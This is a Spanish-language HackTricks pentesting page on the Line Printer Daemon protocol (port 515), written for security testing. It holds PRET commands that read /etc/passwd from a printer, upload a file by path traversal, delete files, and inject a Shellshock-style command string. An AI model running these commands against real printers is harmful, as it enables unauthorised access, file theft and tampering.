hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

40 lines
3.2 KiB
Markdown

<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
### **Introducción al Protocolo LPD**
En la década de 1980, se desarrolló el **protocolo Line Printer Daemon (LPD)** en Berkeley Unix, que posteriormente se formalizó a través de RFC1179. Este protocolo opera sobre el puerto 515/tcp, permitiendo interacciones a través del comando `lpr`. La esencia de la impresión a través de LPD implica enviar un **archivo de control** (para especificar detalles del trabajo y del usuario) junto con un **archivo de datos** (que contiene la información de impresión). Mientras que el archivo de control permite la selección de **varios formatos de archivo** para el archivo de datos, el manejo de estos archivos está determinado por la implementación específica de LPD. Una implementación ampliamente reconocida para sistemas tipo Unix es **LPRng**. Es importante destacar que el protocolo LPD puede ser explotado para ejecutar trabajos de impresión maliciosos de **PostScript** o **PJL**.
### **Herramientas para Interactuar con Impresoras LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) presenta dos herramientas esenciales, `lpdprint` y `lpdtest`, que ofrecen un método sencillo para interactuar con impresoras compatibles con LPD. Estas herramientas permiten una variedad de acciones, desde imprimir datos hasta manipular archivos en la impresora, como descargar, subir o eliminar:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Para aquellas personas interesadas en explorar más a fondo el mundo del **hackeo de impresoras**, se puede encontrar un recurso completo aquí: [**Hackeando Impresoras**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `puerto 515`